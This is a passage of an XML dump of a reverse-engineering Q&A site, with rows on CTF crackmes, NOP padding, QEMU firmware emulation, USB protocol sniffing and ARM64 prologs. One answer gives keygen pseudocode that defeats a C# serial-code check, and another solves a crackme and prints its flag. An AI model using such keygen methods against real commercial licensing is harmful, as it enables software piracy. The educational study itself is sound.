}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19049" LastActivityDate="2017-09-21T16:49:28.507" Title="Reverse code check" Tags="|c#|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16381" PostTypeId="2" ParentId="16380" CreationDate="2017-09-21T16:49:28.507" Score="4" Body="&lt;p&gt;Well the algo is quite simple, let's try to break it down:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;if (code.Substring(0, 2) != &amp;quot;DC&amp;quot;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It has to start with DC&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;if (code.Length != 0x1a)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and be of length 26 chars&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;string s = code.Substring(2, 14);&lt;/p&gt;&#xA;&lt;p&gt;byte[] buffer1 = new SHA256Managed().ComputeHash(Encoding.UTF8.GetBytes(s));&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;then take the 14 chars starting from third (skip DC) and calculate SHA256 on it.&lt;/p&gt;&#xA;&lt;p&gt;After that the checks are (extracted)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;string str2 = ConvertToB36(Convert.ToInt32(buffer1[13])).PadLeft(2, '0');&lt;/p&gt;&#xA;&lt;p&gt;code.Substring(0x10, 2) == str2&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;so value on 13 index of &lt;code&gt;SHA&lt;/code&gt; has to be equal (converted to &lt;code&gt;BASE36&lt;/code&gt;) to 2 chars from the input starting from pos 16.&lt;/p&gt;&#xA;&lt;p&gt;The rest of the checks are similar.&lt;/p&gt;&#xA;&lt;p&gt;So your keygen would consist only the functions that you already has in the code.&lt;/p&gt;&#xA;&lt;p&gt;So the general key is in this form (psudocode)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;input = &amp;quot;&amp;quot;&#xA;sha = SHA256(input)&#xA;print &amp;quot;DC&amp;quot;+input+sha[13].encode('base36')+sha[10].encode('base36')+sha[5].encode('base36')+sha[17].encode('base36')+sha[25].encode('base36')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-09-21T16:49:28.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16382" PostTypeId="2" ParentId="16377" CreationDate="2017-09-21T22:06:00.377" Score="2" Body="&lt;p&gt;&lt;strong&gt;EDIT :&lt;/strong&gt; As Paweł Łukasik and DittoPDX stated, the binary is indeed flawed, and thus do not allow any correct flag. However the approach taken bellow is still valid and may help in similar tasks.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I am pretty sure there are many different ways to solve this challenge, and here is one I learnt from other CTF tasks which requires very little reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole solution lays on the way the main loop is built :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ( i= 0; i &amp;lt;= 30; i++)&#xA;{&#xA;    if ( check(ec[i], argv[1][i]) )&#xA;    {&#xA;        puts(&quot;Nope&quot;);&#xA;        return -1;&#xA;    }&#xA;}&#xA;puts(&quot;congrats!&quot;);&#xA;result = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only way to reach &quot;congrats!&quot; would be by going through the whole loop without hitting that return in the middle.&#xA;The interresting part is that the check function is called on each char of the input, and the loop exists as soon as it is not valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This construction has some implication on things you can evaluate during the program execution. One may call this a &quot;side channel attack&quot;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Spoiler, below this mark are some more details to solve this task.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;  &lt;p&gt; What I meant is : the number of instruction executed by the binary will increase for every right char you got.&#xA; &#xA; One way to solve this challenge would be to count the number of executed instruction (Hint : &lt;a href=&quot;https://software.intel.com/en-us/articles/pin-a-binary-instrumentation-tool-downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;PinTools&lt;/a&gt;; Source/tools/ManualExamples/inscount), and to bruteforce the input char by char. Everytime you guess the right char, the number of executed instructions will increase.&#xA;&#xA;An easy way to script all this would be to use the &lt;a href=&quot;http://docs.pwntools.com/en/stable/tubes/processes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;pwntools&lt;/a&gt; python module :)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I hope this helped, happy CTF !&lt;/p&gt;&#xA;" OwnerUserId="21689" LastEditorUserId="21689" LastEditDate="2017-09-22T07:15:24.477" LastActivityDate="2017-09-22T07:15:24.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16383" PostTypeId="2" ParentId="1436" CreationDate="2017-09-22T00:07:11.743" Score="1" Body="&lt;p&gt;For the last year I've been developing &lt;a href=&quot;https://github.com/CapacitorSet/box-js/graphs/traffic&quot; rel=&quot;nofollow noreferrer&quot;&gt;box-js&lt;/a&gt;, and I found it to be the most accurate tool when analyzing JScript droppers. Internally, it uses &lt;a href=&quot;https://github.com/mishoo/UglifyJS2&quot; rel=&quot;nofollow noreferrer&quot;&gt;UglifyJS2&lt;/a&gt; to run a static analysis and simplify many obfuscation techniques; the rest is achieved through emulation in a V8 sandbox.&lt;/p&gt;&#xA;" OwnerUserId="18095" LastActivityDate="2017-09-22T00:07:11.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16384" PostTypeId="1" AcceptedAnswerId="16386" CreationDate="2017-09-22T04:08:25.107" Score="3" ViewCount="519" Body="&lt;p&gt;I am reversing an ELF64 executable created on AMD X86-64. I encountered this line near the end of the file and am puzzled to its meaning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nop    WORD PTR cs:[rax+rax*1+0x0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case &lt;code&gt;rax&lt;/code&gt; contains &lt;code&gt;0x2329&lt;/code&gt;.  However, &lt;code&gt;nop&lt;/code&gt; means '&lt;em&gt;do nothing&lt;/em&gt;', so I am puzzled as to why there are arguments included on the line.  The code is loaded with &lt;code&gt;libc&lt;/code&gt; function calls so I am assuming the source code is C/C++ and not GAS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11971/nop-with-argument-in-x86-64&quot;&gt;This post&lt;/a&gt; has good content but perror's explanation is more apropos and contains more &quot;why&quot; than a mere recital of the Intel docs.&lt;/p&gt;&#xA;" OwnerUserId="21684" LastEditorUserId="21684" LastEditDate="2017-09-22T14:27:49.360" LastActivityDate="2017-09-22T14:27:49.360" Title="What kind of assembly language construct is this?" Tags="|disassembly|assembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16386" PostTypeId="2" ParentId="16384" CreationDate="2017-09-22T08:16:17.157" Score="3" Body="&lt;p&gt;There are mainly two usage of the &lt;code&gt;nop&lt;/code&gt; instructions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;They are quite often used as padding at the end of assembly procedures or in-between procedures. And, in this case one may want to pad with &amp;quot;&lt;em&gt;more than one byte at the time&lt;/em&gt;&amp;quot;, this is why they added extra arguments (that are just ignored most of the time).&lt;/p&gt;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://en.wikipedia.org/wiki/NOP&quot; rel=&quot;nofollow noreferrer&quot;&gt;NOP instruction&lt;/a&gt; (Wikipedia) and &lt;a href=&quot;http://www.felixcloutier.com/x86/NOP.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;NOP—No Operation&lt;/a&gt; (x86 Instruction Set Reference).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They can also be used to delay a bit the ALU in between two memory fetches in order to give the pipeline a chance to get a correct prediction of the data values. And, this is probably your case because this instruction perform a small arithmetic computation when computing &lt;code&gt;rax+rax*1+0x0&lt;/code&gt;, therefore the ALU has is really delayed because of this operation.&lt;/p&gt;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://en.wikipedia.org/wiki/Delay_slot&quot; rel=&quot;nofollow noreferrer&quot;&gt;Delay Slot&lt;/a&gt; (Wikipedia).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-09-22T11:48:43.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16387" PostTypeId="2" ParentId="16377" CreationDate="2017-09-22T11:52:41.350" Score="3" Body="&lt;p&gt;The way of solving this CTF is to analyze both &lt;code&gt;setup()&lt;/code&gt; and &lt;code&gt;check()&lt;/code&gt; methods (duh!). The first one is quite a long one but when you check what's going on it's quite simple. It's allocating a 20B of memory to store 5 x 4 B of data. It does it 31 times. The values that stored there looks like they are random but they are not. There are only 5 different values that are put in the first spot as well as in 3rd one.&lt;/p&gt;&#xA;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;  &lt;p&gt; Values in 1st and 3rd slot are operation type values; 3rd, 4th - operands; 5th - operand &amp;amp; result&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If we check the &lt;code&gt;check()&lt;/code&gt; function. We see that the parameters that are being passed are: one of the buffers created and filled in the &lt;code&gt;setup()&lt;/code&gt; and a &lt;code&gt;char&lt;/code&gt; of the flag. Based on the values found in the buffer there are mathematical operations that are conducted the values in the buffer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;  &lt;p&gt; More info on the operations. There are few, based on the 1st and 3rd value. add, sub, mod, xor, mul.&#xA; If we take for example the values for the first buffer: 0x01 0x81 0x65 0x0C 0x5A those would be spitted into; 0x01 - mod operation, 0x65 - add; so the char is (0x5A % 0x81) + 0x0C. We do simular (but different operations) on each of the buffers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is the problem with this binary (or maybe it's intentional)? Well for almost all the cases the value calculated on the operands is not compared with the flag's char and this &lt;code&gt;eax&lt;/code&gt; is not correctly set and we get 'None'. What would need to be fixed is to change the jump so that all the cases go through the check if the flag char. What you could do apart from modifying the binary is to trick gdb to behave properly.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set the breakpoint on &lt;code&gt;leave&lt;/code&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;type command&lt;/li&gt;&#xA;&lt;li&gt;type p/c $edx&lt;/li&gt;&#xA;&lt;li&gt;type set $eax=0&lt;/li&gt;&#xA;&lt;li&gt;type end&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With this whenever breakpoint is triggered, you will print the calculated char and it will simulate the comparison to be ok and allowed the application to continue. With that you can run the app, hit a few times the 'c' and observe the flags&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally &lt;strong&gt;the flag&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;  &lt;p&gt; flag{HereBeDaFlagForYoDebu?g?h} &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And a bit of explanation...&lt;/p&gt;&#xA;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;  &lt;p&gt; for those two '?' it is either the control bytes are wrong or the operands and thus they are calculated wrongly. Maybe I would spend some time to find out and try to calculate them correctly but with current values what we are getting is something outside the ASCII printable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2017-09-22T14:54:37.343" LastActivityDate="2017-09-22T14:54:37.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16388" PostTypeId="1" CreationDate="2017-09-22T15:05:17.403" Score="2" ViewCount="129" Body="&lt;p&gt;I'm using radare2 to deconstruct a binary blob. When defining bit-field value there seems to be no syntax to specify the width of the field that contains the enum. For instance with a C structure as follows :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct mystruct{&#xA;   uint32_t myint,&#xA;   uint8_t bitfield1,&#xA;   uint8_t bitfield2,&#xA;   uint8_t bitfield3,&#xA;   uint8_t bitfield4&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would declare the following :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;td enum byte_enum {bit_8=0x80, bit_7=0x40,bit_6=0x20,bit_5=0x10, bit_4=0x08,bit_3=0x04,bit_2=0x02,bit_1=0x01}&quot;&#xA;pf.binary xBBBB myint (byte_enum)bitfield1 (byte_enum)bitfield2 (byte_enum)bitfield3 (byte_enum)bitfield4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but each byte gets interpreted as a full 32 bits int (although the offsets only get incremented by 1, which is bewildering me)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; px 16&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00000000  4142 4344 3132 3334 0aff ffff ffff ffff  ABCD1234........&#xA;[0x00000000]&amp;gt; pf.binary&#xA;     myint : 0x00000000 = 0x44434241&#xA; bitfield1 : 0x00000004 =  bitfield1 (bitfield) = 0x34333231 : bit_1 | bit_5 | bit_6 | 0x200 | 0x1000 | 0x2000 | 0x10000 | 0x20000 | 0x100000 | 0x200000 | 0x4000000 | 0x10000000 | 0x20000000&#xA; bitfield2 : 0x00000005 =  bitfield2 (bitfield) = 0x0a343332 : bit_2 | bit_5 | bit_6 | 0x100 | 0x200 | 0x1000 | 0x2000 | 0x40000 | 0x100000 | 0x200000 | 0x2000000 | 0x8000000&#xA; bitfield3 : 0x00000006 =  bitfield3 (bitfield) = 0xff0a3433 : bit_1 | bit_2 | bit_5 | bit_6 | 0x400 | 0x1000 | 0x2000 | 0x20000 | 0x80000 | 0x1000000 | 0x2000000 | 0x4000000 | 0x8000000 | 0x10000000 | 0x20000000 | 0x40000000 | 0x80000000&#xA; bitfield4 : 0x00000007 =  bitfield4 (bitfield) = 0xffff0a34 : bit_3 | bit_5 | bit_6 | 0x200 | 0x800 | 0x10000 | 0x20000 | 0x40000 | 0x80000 | 0x100000 | 0x200000 | 0x400000 | 0x800000 | 0x1000000 | 0x2000000 | 0x4000000 | 0x8000000 | 0x10000000 | 0x20000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried the [1]B syntax but radare2 does not take the right byte, it just truncates the 4-byte value to LSB, which happens to be 3 bytes down if you use big endian (like I do). This may be a bug.&lt;/p&gt;&#xA;" OwnerUserId="21696" LastActivityDate="2017-09-22T15:05:17.403" Title="radare2 specifying bitfield or enum width" Tags="|radare2|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16389" PostTypeId="1" AcceptedAnswerId="16425" CreationDate="2017-09-22T20:41:35.907" Score="1" ViewCount="784" Body="&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using wireshark to sniff USB serial packets from a program that sends data to FPGA boards. So far I'm able to acquire the packets and data, but I'm not sure how to test each command I find. I want to develop my own program that can do the same thing on a different platform than the one the original program operates on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I get another program to connect to the USB serial connection and then test sending each command? What program would be good for testing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about figuring out the serial connection specifications? Baudrate, data bits, stop bits, parity, flow control, and forward? &lt;/p&gt;&#xA;" OwnerUserId="21699" LastActivityDate="2017-09-27T20:50:29.373" Title="What process should I follow to sniff USB serial packets and then replicate them?" Tags="|serial-communication|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16390" PostTypeId="1" AcceptedAnswerId="16402" CreationDate="2017-09-22T21:09:57.733" Score="2" ViewCount="1045" Body="&lt;p&gt;I'd wish to reverse engineer the firmware of the Netgear R8300 - Nighthawk X8 AC5000 Smart WiFi Router / R8300 (available to download &lt;a href=&quot;http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.100_1.0.82.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to extract the contents of the image using &lt;code&gt;binwalk&lt;/code&gt;, however I'd wish to test some executable in a &quot;live&quot; situation. In order to do that I tried to use QEMU.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, no matter what, I'm getting a system crash.&lt;br&gt;&#xA;I started with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ qemu-system-arm -M vexpress-a9 -hda R8300-V1.0.2.100_1.0.82.chk &#xA;Warning: Orphaned drive without device: id=scsi0-hd0,file=R8300-V1.0.2.100_1.0.82.chk,if=scsi,bus=0,unit=0&#xA;qemu: fatal: Trying to execute code outside RAM or ROM at 0x04000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I can understand QEMU has a driver but he doesn't know what do to with that.&#xA;So I tried to specify more params manually:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qemu-system-arm -M vexpress-a9 \&#xA;   -drive file=R8300-V1.0.2.100_1.0.82.chk,format=raw \&#xA;   -device scsi-hd,id=scsi0-hd0&#xA;&#xA;qemu-system-arm: -device scsi-hd,id=scsi0-hd0: No 'SCSI' bus found for device 'scsi-hd'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to play with some different device type, but it seems that I can't find the correct bus.&lt;br&gt;&#xA;I even tried to split the image into different pieces (kernel and filesystem), but I still got a crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty new to reverse engineering, can I have some hints or suggestions on what should I do to boot my firmware image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;. &#xA;Playing a little with the command I was able to get a different error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ qemu-system-arm -M vexpress-a9 -cpu cortex-a9 \&#xA;   -redir tcp:8888::80 -m 512 \&#xA;   -drive file=R8300V1.0.2.100_1.0.82.chk,format=raw \&#xA;   -device scsi id=scsi0-hd0,if=ide-hd&#xA;&#xA;qemu-system-arm: -device scsi: drive with bus=0, unit=0 (index=0) exists  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to specify a different bus, unit and index, but the error is still the same&lt;/p&gt;&#xA;" OwnerUserId="21698" LastEditorUserId="21698" LastEditDate="2017-09-23T11:20:28.680" LastActivityDate="2017-09-24T16:30:55.867" Title="Unable to boot ARM disk image" Tags="|arm|qemu|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16391" PostTypeId="2" ParentId="16294" CreationDate="2017-09-23T02:30:32.253" Score="1" Body="&lt;p&gt;Encryption is never &quot;by a device&quot;, there must be some algorithm/software run by the phone's CPU. I recommend you figure out what it software does encryption/decryption and what algorithm it uses for the crypto task. Then look into that software (&quot;reverse-engineer&quot; it) and then you will be able to decrypt the card. And I agree that dumping the contents of the encrypted bitstream into a reasonably common format is a good first step on this long journey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reverse engineering is not a game - there is no magic solution, just sweat blood and tears.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2017-09-23T02:30:32.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16392" PostTypeId="1" AcceptedAnswerId="16399" CreationDate="2017-09-23T10:46:50.110" Score="5" ViewCount="1019" Body="&lt;p&gt;I have a Chinese USB gaming mouse (&lt;em&gt;04d9:a070&lt;/em&gt;) which has 4 color modes and 4 light levels. I know for a fact that this mouse is capable for showing at least 5 different color so it must be an RGB led (4 legs). The software is the worst I've ever seen and it's incredibly hard to change the color, brightness and mode so it works and doesn't just turn off. Now I'm planning to make my own control software (for Linux first).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have started with a simple guide &quot;Reverse Engineering a USB mouse (Updated 3rd May 2017)&quot; at Bytepunk (can't post a link but Google or DuckDuckGo should find that guide)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already sniffed most of the things I need. I used USBlyzer on Windows with the awful control software and got a few hex strings and figured out how to change the color, brightness and mode in the hex strings.&#xA;I pasted the data I discovered &lt;a href=&quot;https://pastebin.com/UjdPG7t9&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&#xA; (Pastebin)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Clicking turn on lights from the Windows control software&#xA;&#xA;out: 07 07 01 00 00 00 00 00 &amp;lt;-- Is this a &quot;Commands coming in call&quot;?&#xA;out: 07 09 01 02 00 00 00 00 &amp;lt;-- 07 09 01 0X where X is the color&#xA;out: 07 0C 01 04 00 00 00 00 &amp;lt;-- 07 0Y 01 0Z where Y is the brightness and Z is the mode &#xA;out: 07 13 04 00 00 00 00 00 &amp;lt;-- Is this a &quot;Commands sent call&quot;?&#xA;&#xA;X - OFF: 0 RED: 1 BLUE: 2 GREEN: 3 PINK: 4&#xA;Y - LOW: B MED: 9 HIGH: C &#xA;Z - STATIC: 1 SLOW PULSE: 2 MED PULSE: 3 FAST PULSE: 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is that when I try to &quot;write&quot; anything to the device it just hangs and I get a &quot;[Errno2] Entity not found&quot; error and the mouse needs to be replugged in order to make it work again. It doesn't &quot;disconnect&quot; but it stays in &lt;code&gt;lsusb&lt;/code&gt; and nothing special shows up in &lt;code&gt;dmesg&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I pasted my modified python script to &lt;a href=&quot;https://pastebin.com/GXSYZdPD&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pastebin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also applied a custom &lt;em&gt;udev rule&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SUBSYSTEM==&quot;usb&quot;, ATTR{idVendor}==&quot;04d9&quot;, ATTR{idProduct}==&quot;a070&quot;, GROUP:=&quot;plugdev&quot;, MODE=&quot;0666&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to serial communications and reverse engineering so I don't know what to search for.&#xA;I think I can post pictures and more data from the USBlyzer in the comments. This is my first post here so I don't have the reputation to give more links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greetings, Santeri&lt;/p&gt;&#xA;" OwnerUserId="21703" LastEditorUserId="4709" LastEditDate="2017-09-24T07:52:08.513" LastActivityDate="2017-09-24T07:56:30.210" Title="Need help with a USB gaming mouse" Tags="|linux|serial-communication|usb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16393" PostTypeId="1" AcceptedAnswerId="16400" CreationDate="2017-09-23T16:12:53.507" Score="1" ViewCount="631" Body="&lt;p&gt;I'm trying to understand the differences between the following function prologs of a number of obj-c function decompilations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know they store variables for the caller to use when the function returns. But why the differences?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample 1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void * -[Issue ideal](void * self, void * _cmd)&#xA;sub        sp, sp, #0x40&#xA;stp        x22, x21, [sp, #0x10]&#xA;stp        x20, x19, [sp, #0x20]&#xA;stp        x29, x30, [sp, #0x30]&#xA;add        x29, sp, #0x30&#xA;mov        x19, x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sample 2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void * -[Issue path](void * self, void * _cmd)&#xA;stp        x26, x25, [sp, #-0x50]!&#xA;stp        x24, x23, [sp, #0x10]&#xA;stp        x22, x21, [sp, #0x20]&#xA;stp        x20, x19, [sp, #0x30]&#xA;stp        x29, x30, [sp, #0x40]&#xA;add        x29, sp, #0x40&#xA;mov        x19, x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sample 3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void -[ContentView showPageThumb:page:data:guid:](void * self, void * _cmd, void * arg2, long long arg3, void * arg4, void * arg5)&#xA;stp        x24, x23, [sp, #-0x40]!&#xA;stp        x22, x21, [sp, #0x10]&#xA;stp        x20, x19, [sp, #0x20]&#xA;stp        x29, x30, [sp, #0x30]&#xA;add        x29, sp, #0x30&#xA;mov        x20, x5&#xA;mov        x21, x4&#xA;mov        x22, x3&#xA;mov        x19, x0&#xA;mov        x0, x2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5804" LastEditorUserId="60" LastEditDate="2017-09-24T18:02:15.347" LastActivityDate="2017-09-24T18:02:15.347" Title="Understanding ARM64 Obj-C Prolog" Tags="|disassembly|assembly|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16394" PostTypeId="1" AcceptedAnswerId="16395" CreationDate="2017-09-23T20:37:40.973" Score="1" ViewCount="2031" Body="&lt;p&gt;I'm reverse engineering the CrackMe which is written on Managed C++/C#.&#xA;Arguments are &quot;string&quot; (email in this case) and &quot;serial&quot;. Serial is somehow depends on string and I need to understand how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used dnSpy to disassemble the program and found onClick function which begins the process of checking if the serial was right: &lt;a href=&quot;https://pastebin.com/TwSMTiD3&quot; rel=&quot;nofollow noreferrer&quot;&gt;button2_onClick&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end of this function we can see a boolean function Check() which returns &lt;code&gt;true&lt;/code&gt; if the serial was right: &lt;a href=&quot;https://pastebin.com/gj4tLwN6&quot; rel=&quot;nofollow noreferrer&quot;&gt;Check()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I'm new to reverse engineering (and especially to RE of .NET apps) so I need some explanations about the decompiled code we can see in these two functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) What exactly does&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;md = &amp;lt;Module&amp;gt;.std.basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt;.{ctor}(ref basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt;4, ref basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt;2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;mean on line 25 of &lt;code&gt;button2_onClick&lt;/code&gt;? I understand that this is some type of assignment, but no more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) What these lines (14, 15 lines and so on, of &lt;code&gt;Check()&lt;/code&gt;) do? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*(ref basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt;2 + 16) = 0;&#xA;*(ref basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt;2 + 20) = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) What do the numbers (5, 6, 7 near the end of lines) mean?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Module&amp;gt;.std.basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt;._Tidy(ref basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt;5, true, 0u);&#xA;&#xA;basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt; basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt;6;&#xA;&#xA;basic_string&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;,std::allocator&amp;lt;char&amp;gt;\u0020&amp;gt;* right2 = 